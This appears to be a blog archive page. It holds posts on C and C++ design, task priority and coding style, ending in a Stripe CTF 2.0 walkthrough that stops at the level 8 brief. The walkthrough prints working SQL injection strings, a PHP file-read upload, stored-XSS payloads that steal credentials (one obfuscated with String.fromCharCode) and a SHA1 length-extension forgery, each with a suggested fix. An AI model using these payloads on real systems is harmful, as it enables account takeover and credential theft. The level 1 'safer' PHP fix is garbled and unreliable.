You are currently browsing the archives for the Design Issues category.

The hokey-cokey* of function calls

January 20th, 2014

Functions are the lifeblood of a C program. The program flow is altered by passing parameters to functions, which are then manipulated. Conceptually function parameters are defined as being either:

  • Inputs (Read-only) – client-supplied objects manipulated within the function only
  • Outputs (Write-only) – objects generated by the function for use by the client.
  • Input-Outputs (Read-Write) – client objects that can be manipulated by the function.

Defining the use of a parameter gives vital information not only to the implementer, but (perhaps more importantly) to the user of the function, by more-explicitly specifying the ‘contract’ of the function.

Many programming languages (for example, Ada) support these concepts explicitly. C, however, does not. One has to remember that when Kernighan and Ritchie developed C structured programming was very much in its infancy and many of these ideas were still being formulated (also remember that one of the C design goals was parsimony).

Even today, though, these concepts are rarely taught to C programmers and that has often led to clumsy, insecure or even downright dangerous APIs.

If C doesn’t support these concepts explicitly, can we simulate them? The answer is (of course) yes, by using some basic language constructs and forming some idioms.

Let’s look at each parameter type in turn.

Input parameters

C specifies a call-by-value or call-by-copy paradigm. That is, when a C function is called the compiler sets up a call frame that holds copies of the function parameters. Therefore, when you pass parameters by value you are – in effect – creating a parameter for the function to use that in no way affects the caller’s data

image

This is fine for simple types, but what about user-defined types – structs? What’s the problem with passing them by value?

image

Passing a structure by value means allocating enough memory for the parameter and then copying the contents of the original object into the parameter. In many embedded systems, where memory is at a premium, this could easily overflow the stack – at run-time, where its consequences could be difficult to track.

Strictly, to be explicit you should specify the type of the parameter as a const:

image

For simple types this is unlikely to add much value; however it may provide some benefit with structures.

If a parameter is passed as a const struct the compiler has the opportunity to perform a lazy evaluation – it passes the address of the structure instead of making a copy.

image

Note that this optimisation may not be supported by all compilers; or might not occur at all levels of optimisation.

Input-Output parameters

The resolution to the above problem is to explicitly pass a pointer to the structure:

image

This is clearly more efficient than copying the whole structure. OK, the syntax has got a little messier, but we can live with that.

But hang on: do we still have an Input parameter? Actually, no.

What we’ve got here is an input-output parameter. By passing a ‘raw’ pointer the function can manipulate the caller’s object. To fix this we need to prevent manipulation of the pointed-to object:

image

Still not quite there, though. What happens below?

image

Strictly we should make the pointer itself const to prevent (either accidently or maliciously) the function manipulating the caller’s object:

image

This is a very good general rule-of-thumb for functions: make all pointers const

Output parameters

An output parameter is one that the function can write to, but never read (i.e. write-only). In C the only real mechanism we have for that is the function return value.

Most programmers are happy to return simple types from functions but what about the following code?

image

Since C performs pass (and return!) by value this would appear very inefficient:

image

The original object (biiig) is constructed. Then, when makeBigStruct is called space for the return value is allocated. Inside makeBigStruct, temp is allocated. On return temp is copied into the return value then, finally, copied into biiig.

Knowing this, most programmers never return structures from functions; preferring instead to supply them as input-output parameters. However, most modern compilers provide an optimisation which does just this.

Below is the same code but showing the optimisation. Instead of returning the structure the address of the receiving object is (implicitly) passed to the function. At the end of the function the return value is copied into the receiver, negating the need for a temporary return object.

image

In general, then, it is OK to return a struct from a function by value (unless you’re using an ancient C compiler). If you’re not certain (or your compiler doesn’t support this optimisation) it’s probably safer for you to use input-output parameters instead.

Finally, it’s worth noting the small detail that, unlike other languages, a C function can only have one output parameter. You’ll need to use input-output parameters for the rest.

Making the world a better place.

Using these idioms consistently is a very good way to improve the quality of your code. Firstly, it allows the compiler to provide stronger checking on your code. Second, it gives the reader extra information about how to use your functions and what guarantee (or promise) they can expect from them.

You may have noticed I’ve ignored arrays in this article. Check out this blog post for passing arrays to functions.

In summary:

image

 

* Or, hokey-pokey if you prefer.

Casting – what could possibly go wrong?

September 27th, 2013

Type casting in C++ is a form of what is known in computer science as type punning – that is, circumventing the type system of a programming language.

C++ inherits its conversion and casting mechanism from C, but supplements it (although sensibly we should say, replaces it) with four, more explicit cast operations:

  • static_cast
  • reinterpret_cast
  • const_cast
  • dynamic_cast

In C and C++ – and particularly in embedded systems – casting is a necessary evil; so much so that many programmers just accept it as part of everyday programming practice.

So then: why is casting ‘evil’? Basically, because every time you do a type cast you are opening up your program to potentially unpredictable or unexpected behaviour. Let’s have a look at the four type-cast operators and the fun and games they can unleash on the unsuspecting.

 

static_cast<>

The static_cast operator converts between different object types; for example between a double and an int. So what you are effectively saying is

“I’m about to squeeze a big object into a smaller one, so you should probably make sure the receiving object is big enough to hold the values it’s going to get.”

Or:

I’m about to force a floating point number into an integer and all those decimal places (that are probably quite important) are going to be lost”

Of course, you could also be saying:

“I’m about to put the contents of a small object into an object capable of holding much larger values (or with greater precision)”

(which is emphasising a bit of a non-problem, really)

Thankfully, C++ doesn’t let you type-cast between different class types unless you’ve defined your own explicit conversion functions (which – hopefully – should do a sensible conversion). But that’s for another time.

 

reinterpret_cast<>

reinterpret_cast is used in two ways:

  • To convert a pointer-to-type into a pointer-to-different-type
  • To convert an integer type to a pointer type; or vice versa.

When reinterpret_cast appears in code it tells the reader:

“I’m going to take the object address you gave me and treat it as a completely different type, with different memory layout and different behaviour(s). You should make sure it’s capable of supporting what I want to use it for.”

Or, in another usage:

“That (random) number you gave me? I’m going to use it as the address of an object. You’d probably better make sure it’s a valid address, in a reachable region of memory; unless you’re a big fan of segmentation faults.”

 

const_cast<>

The const_cast operator removes the const-ness of an object; that is, it makes a read-only object writeable.

Significantly for embedded programmers, const_cast removes any cv (const-volatile) qualification the original object may have. This means a volatile object – for example, one used to represent a hardware register in an embedded system – can have that qualification removed with const_cast.

Using const_cast says:

“The object you didn’t want me to change? I might (accidently) change it without your consent.”

Or, perhaps in an embedded system:

“The compiler might now optimise away any reads or writes to that object you gave me. Be prepared for behaviour NOT to happen as you expect!”

 

dynamic_cast<>

The dynamic_cast operator is a special case here, in that it is used for ‘safe down-casting’ – that is, casting a pointer-to-base-type to a pointer-to-derived-type, whilst checking whether this is, in fact, a valid cast. dynamic_cast uses Run-Time Type Identification (RTTI) to ensure the types of the pointers are valid. Thus, unlike the other cast operators, dynamic_cast is a run-time check and has associated overheads. If the pointer types are not compatible dynamic_cast returns 0 (for pointers) or throws an exception (for references).

dynamic_cast also has a role in multiple inheritance, where a class has two or more base classes. The dynamic_cast operator allows you to cast a pointer of one base class type to another. Although this is basically a variation on safe down-casting we tend to use the term ‘cross-casting’. Cross-casting is commonly encountered when a class realises (inherits from) two or more interface (pure virtual) classes.

In your code this means:

“I need to access the extended interface of a particular derived type. You’d better be prepared to deal with the consequences of the derived type NOT being what I want.”

Or:

“I need to know if the object you’ve supplied supports some other – possibly completely different – set of characteristics. ”

 

So – don’t use type casts?

Obviously, it’s impracticable (if not impossible) to write code with no type casting; especially in embedded systems. I leave you with the following guidance:

  • Don’t cast if you don’t need to.
  • Think about the consequences of what the cast is (potentially) doing.
  • Leave a big, obvious comment documenting why we’re doing something so potentially dangerous.

Debunking priority

June 28th, 2013

Before I start, a disclaimer:

For the purposes of this article I’m limiting the discussion to even-driven systems on priority-based, pre-emptive operating systems, on single processors.

I’m using the word task to mean ‘unit of execution’ or ‘unit of schedulability’, in preference to thread or process. I’m ignoring the different OS memory models.

There seems to be a fair amount of misunderstanding about the concept of priority in concurrent programming:

  • Priority means one task is more ’important’ than another.
  • Priority allows one task to pre-empt another (True, but why is this important?)
  • Priority means one task runs more often than another.
  • Changing priorities will fix race conditions between tasks.

Here are some other viewpoints on the subject.

(http://www.codinghorror.com/blog/2006/08/thread-priorities-are-evil.html)

(http://stackoverflow.com/questions/95649/when-should-i-consider-changing-thread-priority)

The general consensus seems to be that arbitrarily adjusting a task’s priority is ‘bad’. However, there’s not a lot of useful concrete information on why you should adjust a task’s priority.

Task priority should be thought of as a measure of the ‘determinism of latency of response’ for that task. That is, the higher the priority of a task (relative to its peers) the more predictable (deterministic) its latency of response is. 
To understand this let’s consider an example system with a number of tasks, each with a different priority. All of the tasks may pend on some shared (protected) resource or event. 
In scenario 1, only the highest priority task is available to run. When it pends on the resource/event it gets it ‘immediately’ – that is, with the minimum possible latency (there will always be some processing overhead) 
In scenario 2, only the lowest priority task is available to run. When it pends on the resource/event it also gains access with the smallest possible delay. In other words, in this scenario its latency of response is exactly the same as the highest priority task! 
However, in scenario 3, things change. In this scenario let’s have all our tasks available to run and attempt to access/respond to the resource/event. In this case, the highest priority task (by definition) gets access first. It’s latency of response is the same (give or take) as when there are no other tasks running. That is, it has the most predictable latency (it’s almost constant). 
However, the lowest priority task must wait until all other pending tasks have finished. Its latency is: minimum + task1 processing time + task2 processing time + task3 processing time +… 
So, for the low priority task the latency is anywhere from the minimum up to some (possibly unpredictable) maximum. In fact, if we’re not careful, our highest priority task may be ready to access again before the lowest priority task has even had its first access – so-called ‘task starvation’.

image

A task’s priority will affect its worst-case latency – the higher the priority the more predictable the latency becomes.


If all your tasks run at the same priority you effectively have no priority.  Most pre-emptive kernels will typically have algorithms such as time-slicing between equal-priority tasks to ensure every task gets a ‘fair share’.

So, why might I want to adjust my tasks’ priorities? Let’s take a common embedded system example: a pipe-and-filter processing ‘chain’.

The basic premise has a task pending on input events/signals from the environment. These are passed through a chain of filter tasks, via buffer ‘pipes’. The pipes are there to cope with the differences of processing speed of each filter task and the (quite likely) ‘bursty’ nature of event arrival.

In a system with fast-arriving, or very transient events, we may wish to increase the priority of front-end of the filter chain to avoid losing events.

Increasing the priority of the back-end of the filter chain favours throughput over event detection.

In each case the pipes must be sized to accommodate the amount of data being stored between filters. Ideally, we want to avoid the buffers becoming flooded (in which case the filter chain runs at the speed of the slowest filter)

image

Adjusting task priorities to achieve system performance requirements

However, all is not necessarily rosy. Your careful-tuned system can be disrupted by introducing (either explicitly or through some third-party or library code you have no control of) code with its own tasks.

image

Introducing new code (explicitly or implicitly) can disrupt system performance

The introduction of (in this case) another medium-priority task may slew the latency predictability of our original medium-priority task. For example, what happens if the new task runs for a significant period of time? It cannot be pre-empted by our filter task. If we are unlucky (and we so often are!) this can cause our system to stop meeting its performance requirements – even though there is no change in the original code! (I’ll leave it as an exercise for the reader to consider the impact of this for reusable code…)

Finally, a huge caveat for multi-processor systems: Priority only has meaning if the number of tasks exceeds the number of processors. Consider the extreme case where each task has its own processor. Each task, being the only task waiting to execute, will execute all the time. Therefore it is always at the highest priority (on that processor)

If your design assigns multiple tasks to multiple processors then you must appreciate (and account for) the fact that priorities only have meaning on each individual processor. Priority no longer becomes a system-wide determinant.

Style vs. Substance in C programming

June 21st, 2013

In an email from UBM Tech this week there was a link to an article titled “A Simple Style for C Programming by Mansi Research“. It was actually authored back on May 2010 by Meetul Kinariwala but appeared this week under the what’s hot section, so I thought I’d take a look [advice to the reader; don't bother].bad-clothing_16

The problem with guides like this is that style is a very subjective area (as any parent will tell you how their kids like to point out your lack of style). Programming is no exception and you could argue with C being such a compact language, it suffers more than many other languages.

One of the many good things about the MISRA-C guidelines is that it clearly separated out the issue of style vs. coding guidelines, i.e. [Guidelines for the Use of the C Language in Critical Systems, ISBN 978-1-906400-10-1, page 9]

5.2.2   Process activities expected by MISRA C
It  is  recognized  that  a  consistent  style  assists  programmers in understanding  code  written  by others. However, since style is a matter for individual organizations, MISRA C does not make any recommendations related purely to programming style. It is expected that local style guides will be developed and used as part of the software development process.

I couldn’t have put it better myself.

Clearly for larger teams a style guide is a useful and important part of the development process.

A whole host of style issues can be addressed with a “pretty printer” tool such as Artistic Style. These simply allow you to define a standard model for items such as ‘{‘ alignment, tab-to-space ratio and spacing within expressions [e.g. if (a&&b) vs. if ( a && b ), etc.].

However there are many style issues that can’t be addressed with automation, for example naming convention. People of a certain age will have been unfortunate enough to have to use Hungarian notation, which, at its roots, had a good underlying principle (embedded type information in the name). That said, Hungarian notation is, in my opinion, an abomination.

One of those coding styles that always make me want to spit feathers is putting a literal on the left of a comparison expression, e.g.
if (10 == var)
I know, you think it’s a great idea as it stops you accidentally writing:
if(var = 10)

Yes it does, but that also tells me you’re not using any form of static analysis tool (e.g. PC-lint, Coverity, QAC, etc.) which means you’ve got much bigger problems that accidentally assigning 10 to the variable!

My major issue is that, for someone who ends up reviewing a lot of other people’s code, it acts as a mental ‘speed bump‘; I wouldn’t say “if ten is equal to var?“‘ I’d say “if var is equal to 10?“, so why write it that way? Surely we want to make code a readable as possible and I’d argue (10 == var) is just ‘bad‘ style.

Probably the biggest issue I regularly come across is that most company coding standards

  • do not differentiate between rules that are there for safety/security reasons (e.g. Functions shall not call themselves, either directly or indirectly) and rule purely for style (e.g. for pointer variables place the * close to the variable name not pointer type)
  • do not have automation of rule checking; if it’s not autometed it won’t get enforced.

As I’ve already said, I’m not against coding style guidelines, quite the contrary I think, when well done, they aid code readability across a project/company. But what’s really needed is a coding meta-style guide (i.e. a guide to what a coding style guide should address).

For example, a coding style guide should consider the structure of a C file, e.g. ordering items within a file based on some defined criteria, such as:

  • Context then definition
  • External then Internal
  • Public then Private
  • Functional grouping
  • Type grouping
  • Alphabetic sorting

The meta-style-guide tells you that you should consider file structure; the actual-style guide tells you, for you project, how a C file should be structured.

Googling the web hasn’t thrown up any meta-style guides, so here at Feabhas we’re undertaking to develop an open, community driven, meta-style guide. We haven’t defined the best model yet (github, google+, etc.), but as soon as we do I’ll ensure it’s published here.

In the meantime feedback/comments on the meta-guide would be welcome.

UPDATE
I have subsequently come across the following resource that is a great meta-guide C Style: Standards and Guidelines and I highly recommend a visit.

Sailing the Seven C’s of design*

January 18th, 2013

I’m always looking for nice little mnemonics to help out remember the important concepts in design.  Here’s one for model-driven development I call the “Seven C’s”.  It basically enumerates the seven stages a design goes through, from initial idea to code.

CONCEPT
The Concept phase is about understanding the problem.  In other words: requirements analysis.  When you’re in Concept mode your main focus is on validation – am I solving the right problem for my customer?

CREATION
In Creation mode you are synthesising a solution.  At this stage we are building an Ideal model, ignoring many of the complications of the real world.  Our design should be completely concurrent (every object has its own thread of control), completely asynchronous (messaging) and completely flat (no hierarchy)
Your focus should be on:

  • Design verification – if I can’t demonstrate an ideal design works then there’s no way a less-than-ideal design will work!
  • Design evaluation – as with all design: is this the best compromise?

COMPOSITION
Also known as ‘design levelling’ (but that doesn’t start with C!).  Your Ideal model probably has some high-level elements (components, etc) that need further refinement; and plenty of low-level elements (objects) that can be collected together to perform ‘emergent’ behaviours.  Design levelling is the act of (re)organising the design into appropriate levels of abstraction – sub-systems, components, objects, etc.

CONCURRENCY
Our Ideal model treats every element as concurrent, but experience tells us that isn’t practical for a real software system, so reduce the number of concurrent elements in our system to get the most effective solution with the smallest number of threads.

CONSTRUCTION
Like any other construction project our plans must contain enough information so that skilled implementers can build our dream.  In our case the construction plans are our class diagrams, composite structures, state machines and algorithm descriptions.
Once in the construction stage our focus is on verification – doesn’t this design still fulfil its requirements?

CORRUPTION
Our construction models may be complete and may be translatable directly to code.  However, the result of that translation may not be ideal; and may not benefit from many of the features of our chosen implementation language.  Corruption is the act of modifying our design to make the most effective use of our implementation language and platform.

CODE
The end result.

How does this all map onto typical model-driven-design nomenclature?  Well, pretty much like this:

Computationally-Independent Model (CIM)
•    Concept

Platform-Independent Model (PIM)
•    Creation
•    Composition
•    Concurrency
•    Construction

Platform-Specific Model (PSM)
•    Corruption
•    Code

*  Apologies to all the grammar fanatics out there for my use of the “grocer’s apostrophe”

Capturing the Stripe-d Flag 2.0 – The After Party

August 30th, 2012

Following on from our previous article looking at Stripe’s Capture the Flag 2.0 challenge, Team Feabhas cracked the last of the levels and its members should hopefully be receiving their complementary t-shirts soon.

It has proven to be a popular article with lots of people coming to the blog for solutions and walk-through, and now that the competition has finished we have decided to share the way we approached each of these levels, their solution and the way in which the attack vector can be mitigated.

Level 0

The Brief

We are told that the key to level 1 is stored in the database and we have to ‘crack’ it. Looking at the code we can see that it holds data in a key|value pair but we don’t know the key so we can’t get the value.

app.post('/*', function(req, res) {
        var namespace = req.body['namespace'];
        var secret_name = req.body['secret_name'];
        var secret_value = req.body['secret_value'];

        var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
        db.run(query, namespace, secret_name, secret_value, function(err) {
                if (err) throw err;
                res.header('Content-Type', 'text/html');
                res.redirect(req.path + '?namespace=' + namespace);
         });
});

The Hack

The code provided lists the following function:

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});

When you request this page by performing a GET operation, the SQL query
SELECT * FROM secrets WHERE key LIKE ? || ".%"
is performed. The ? after LIKE in the query is the placeholder for the user submitted data which isn’t sanitised at all. The trick to overcoming this is to use the ‘%’ character as the namespace value which is a MySQL wildcard for pattern matching which turns our statement into:
SELECT * FROM secrets WHERE key LIKE % || ".%"
This has the effect of telling the database to return all key pairs in the database – including the key to level 1.

One of the things to note is that the hack needs to be performed either from the text input box on the page, or from a tool such as cURL

The Fix

Never trust data from the client. This would’ve been fixed by limiting the type of data allowed to be submitted and sanitising it before execution.

Level 1

The Brief

We’re told that this machine is secure and we’ll have to try all possibilities but something is off with the code.

The Hack

The code is provided in the form of a PHP file which features the following snippet:

<?php
	$filename = 'secret-combination.txt';
	extract($_GET);
	if (isset($attempt)) {
		$combination = trim(file_get_contents($filename));
		if ($attempt === $combination) {
			echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>";
			$next = file_get_contents('level02-password.txt');
			echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>";
		} else {
		  	echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
		}
	}
?>

What happens here is that the password submitted is tested against a value read in from $filename using the function file_get_contents which will read the given file into a string but if the call is unsuccessful it will simply return an empty string.

If we look at the extract() function, we can see it extracts variables into the variable namespace, overriding any existing ones. Note that $filename is declared, then extract() is called and then it is used.

By combining these things, we can override the value $filename to a non-existent file to get a comparison between two empty strings. To use this we simply visit: https://level01-2.stripe-ctf.com/user-USERNAME/?attempt=&filename=

The Fix

Again, don’t trust data from users! Using extract into the current symbol table means your variables can be overwritten – especially on $_GET variables that can be submitted by users. For any web API, you should know what parameters are expected and to check for those explicitly.

A safer way to code this would have been:

<?php
$filename = 'secret-combination.txt'; if (isset($_GET['attempt'])) { $combination = trim(file_get_contents($filename)); if ($attempt === $combination) { echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>"; next = file_get_contents('level02-password.txt');
echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>"; } else { echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
} } ?>

Level 2

The Brief

We’re given access to Stripe’s Social Network “which are all the rage” and told to fill in our profile picture and that there’s a file called password.txt that contains the password for level 3.

The Hack

Again, we’re provided with the source code that shows that we can upload an arbitrary file to the /uploads directory! Oh dear.
The hack here is to upload a simple PHP script, which we’ll call foo.php, that contains the following

<?php
	echo "Password is: " . file_get_contents("../password.txt");
?>

and then visit https://level02-4.stripe-ctf.com/user-USERNAME/uploads/foo.php to see the password for level 3. The ability to upload our own scripts is a useful ability… one that is used later one to good effect!

The Fix

Check what gets uploaded by your users. You can discard any file types that aren’t acceptable as well as forbidding access to scripts in the uploads directory.
There are various examples of scripts that will perform some kind of sanity check on uploaded files. A simple search for php validate image upload will provide plenty of examples to use as a starting point.

Level 3

The Brief

We’re told that the new storage mechanism uses a human login and that user ‘bob’ holds the password for level 3.

The Hack

This is another case of SQL injection. In this case the offending line is the query string

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can see that we can tag on some SQL of our own in this scenario, in this case we want to make use of SQLs UNION statement.

UNION allows you to combine two or more result sets from multiple tables together. We’re going to use this to turn the statement into the following (note that {0} is replaced with our injection string):

SELECT id, password_hash, salt FROM users WHERE username = 'NULL' UNION SELECT id, HASH_WE_KNOW, SALT_WE_KNOW FROM users WHERE username = 'bob' -- LIMIT 1"

The bold text is the string we’re going to insert, the -- at the end is used to comment out the LIMIT 1 part of the query.

So we have the query string but we need to get our hash and salt so we can complete it. The sample above featured the line:


    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can simply use our python interpreter to do the hard work for us to generate the requisite hexdigest from a password of ‘xx’ and a salt of ‘x’ to keep things simple:

[nick@slimtop ~]$ python
Python 2.7.3 (default, Jul 24 2012, 10:05:39) 
[GCC 4.7.0 20120507 (Red Hat 4.7.0-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> print hashlib.sha256('xx' + 'x').hexdigest()
cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860

All that’s left is to enter the query string NULL' UNION SELECT id, 'cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860', 'x' FROM users WHERE username = 'bob' -- as the username and set our password to be ‘xx’ and in we go.

The Fix

This is a far more complex fix to implement, as one really has to think like a cracker however, a good starting point would be
The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project

Level 4

The Brief

We’re told about a piece of software called Karma Trader that allows people to reward others with karma for good deeds – the caveat being that

In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.

The Hack

The presence of the jQuery library is a good indicator that we’re going to be doing something untoward using it. The hack here is a very simple XSS exploit to make use of the fact that our password will be shown to people we transfer karma to. We simply set our password to be a piece of jQuery code that will use the jQuery.post() function to send some karma to our user naughty_man

So we create our account as naughty_man with the password of <script>$.post("transfer", {to: "naughty_man", amount: "50"} )</script> and send some karma to karma_trader.
When she next logs in, she will unknowingly execute our script which will send us some karma and her password for the next level.

The Fix

As before – the primary concept is not to trust any input that comes from the user. The input fields should be URL encoded and escaped to ensure that they are safe. Again, The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project provides a good starting point.

Level 5

The Brief

We’re told about a new type of federated identity system where you provide a username, password and pingback URL where a simple “AUTHENTICATED” or “DENIED” is posted to the pingback location.
We’re also informed that we will need to authenticate as a user of level 5 and that it can only make outbound requests to other stripe-ctf.com servers.

Interestingly, we’re told that someone forgot to firewall off the high ports from the Level 2 server.

The Hack

There are two parts to this hack, get authenticated at a lower level and then pingback to gain authentication at level 5.
To accomplish the first part, we need to get a stripe-ctf.com server to provide us with an ‘AUTHENTICATED’ string, Fortunately for us, we still have access to level 2!

Looking at the code, we can see the regex that is used to authenticate:

	def authenticated?(body)
		body =~ /[^\w]AUTHENTICATED[^\w]*$/
	end

We simply upload a script, stripe_auth.php, to print that string out:

<?php
print " AUTHENTICATED \n"; /* Note the spaces either side are matched for! */
?>

We can then specify this location as our pingback URL to gain initial authentication at level 2 – http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

The second part required a bit of lateral thinking – reading our logged in page we can see it says:

You are authenticated as hacker@level02-2.stripe-ctf.com

The word authenticated here is enough to say we’re authenticated as level 5! – To use it we just tell it to use itself by specifying a pingback URL of:
https://level05-1.stripe-ctf.com/user-USERNAME/?pingback=http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

This provides us with the password for our next level!

The Fix

Once again – we should not trust any input provided by the user. If we are going to allow some kind of authentication server, then we need to be able to trust the remote server. Taking it on the word of a user is not good enough!

We should either have a hard coded list of servers that we trust, or implement some kind of trust mechanism – such as public key cryptography

Also, the fatal flaw in the design was to include the keyword for authentication within the level 5 server output.

Level 6

The Brief

We’re told that after the catastrophe of level 4 the Karma Trader was shutdown but a new service, Streamer, was created. The security of this app has been beefed up and the password of the first user contains double quotes and apostrophes to complicate things… but that it’s also the password to level 7

The Hack

Looking through the source code for Streamer for these so-called precautions we come across the following lines of code:

   def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

This forbids any insertion of values containing either an apostrophe ‘ or double quote ” – Very important!

To explore the site a bit more, we create an account and have a look at how the posts are stored and manipulated. In the HTML we see the following:

<script>
      var username = "naughty_man";
      var post_data = [{"time":"Fri Aug 24 19:54:42 +0000 2012","title":"Hello World","user":"level07-password-holder","id":null,"body":"Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!"}];
       function escapeHTML(val) {
        return $('
').text(val).html(); } function addPost(item) { var new_element = '<tr><th>' + escapeHTML(item['user']) + '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); } for(var i = 0; i < post_data.length; i++) { var item = post_data[i]; addPost(item); }; </script>

So interestingly, we can see that the posts are stored in a way that can be maliciously escaped with an errant </script> tag – we can test it by posting </script><script>alert(0);</script> and checking that the alert window is visible after a refreshing the browser window – success.

What we want to do is read in the contents of ‘user_info’ that we can see holds the current users password and make sure that we don’t use any single or double quote characters as submitting these is not allowed – quite the challenge.

Fortunately for us, we can use jQuery.get() to retrieve a page for us and we can also force the browser to then submit this page (or the last 180 characters of it) in the form provided without any user intervention – This type of attack is called a Cross Site Request Forgery.

What we will do is:

// Get the page 'user_info' into a string with the jQuery function
$.get('user_info'), function(data){
	// Remove all of the string apart from the last 180 characters to keep it short
	data = data.substr(data.length - 180);
	// Replace any double quotes with the text 
	data = data.replace('\"','<DOUBLE>');
	// Replace any single quotes with the text 
	data = data.replace('\'','<SINGLE>'); 
	// We know there's only one form so set it's value to be our data
	document.forms[0].content.value = data;
	// We know there's only one form so 'click' submit on the first form of the document
	document.forms[0].submit(); 
});

One problem we have is that we typically need to use quotes to demark strings in our JavaScript which are forbidden but fortunately we can use a combination of JavaScript’s eval() operation and String.fromCharCode to accomplish what we need.

String.fromCharCode() will allow us to encode forbidden characters that will be replaced at runtime by the eval() function – such that alert('Hi') becomes, alert(eval(String.fromCharCode(39, 72, 105, 39))).

So knowing this, we can create our script and then convert it to using eval/String.fromCharCode so that our naughty script goes from…

}];// </script><script>$.get('user_info'), function(data){ data = data.substr(data.length - 180); data = data.replace('\"',''); data = data.replace('\'',''); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

to this.

}];// </script><script>$.get(eval(String.fromCharCode(39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39)), function(data){ data = data.substr(data.length - 180); data = data.replace(eval(String.fromCharCode(39, 92, 34, 39)),eval(String.fromCharCode(39, 60, 68, 79, 85, 66, 76, 69, 62, 39))); data = data.replace(eval(String.fromCharCode(39, 92, 39, 39)),eval(String.fromCharCode(39, 60, 83, 73, 78, 71, 76, 69, 62, 39))); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

Finally, we can insert this into the stream (preferably with JavaScript disabled unless you want to run it yourself!) and wait for the first user to log in and unwittingly execute our script and post their valuable credentials.

The Fix

By now, we should be totally paranoid about any input data! Be sure to strip, encode or filter and reject user data if it contains any HTML characters with safe alternatives such that so that ‘<‘ becomes
&lt;. A read of the Secure-Programs-HOWTO is a good way to become aware of the ways that users can trick you into running bad code.

Level 7

The Brief

For level 7, we are introduced to an on-line waffle ordering system. There are two levels of waffles that can be ordered, standard waffles and ‘premium’ waffles. We only have access to the standard waffles, but we need to be able to place on order for a premium waffle to reveal the password for the next level.
We are provided with an API to the ordering system along with our secret key and a page (/logs/<user_id>)where we can view any previous orders we may have placed.

The Hack

The API for the system attempts to be secure by using a message signing system. There are two parts to the order, the parameters of count, user_id, latitude, longitude and waffle. These are then signed with an SHA1 algorithm using our secret key. This would give a string such as:

count=1&lat=0&user_id=5&long=0&waffle=liege|sig:a2f7af47b2633dd00f94d204e03d2a3f9a012674

This means we can exploit a
SHA padding attack
. This enables us to create a valid SHA1 key without knowing the original secret

The design of the system allows to find the order log of any user by changing the user ID on the logs page. From this we can get an original order from a privileged user:

count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:5fe387f05d3b205b6d10108c8f31312c8fd56711

There are tools that can generate SHA padding:

We want to add the parameter waffle=liege to the parameters, and using the tools we get a new string of:

count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege|sig:c0b55677bf18c7b48a32f1f705667e11008b93b2

The Fix

The first reason why we are able to use this hack is because it is very simple to find the logs of other users – these should be protected – and the second reason is because the input has not been sanitised correctly.
The code used is:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

This allows the same key to be submitted twice, and the second time it will overwrite the value of the first.

By changing the code to something like the following:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        if not key in params:
            params[key] = val
    return params

the second instance of ‘waffle’ would have been ignored.

Level 8

The Brief

For level 8 we had to crack a new password storing mechanism. To supposedly increase security, a password is split between four separate servers – so that even if one server was compromised, the password would still be secure. To check a password, a 12 digit password was submitted to the main server and it would simply return ‘success’ or ‘failure’.

The system also provided a webhook that would be called by the main server to return the result of the password attempt.

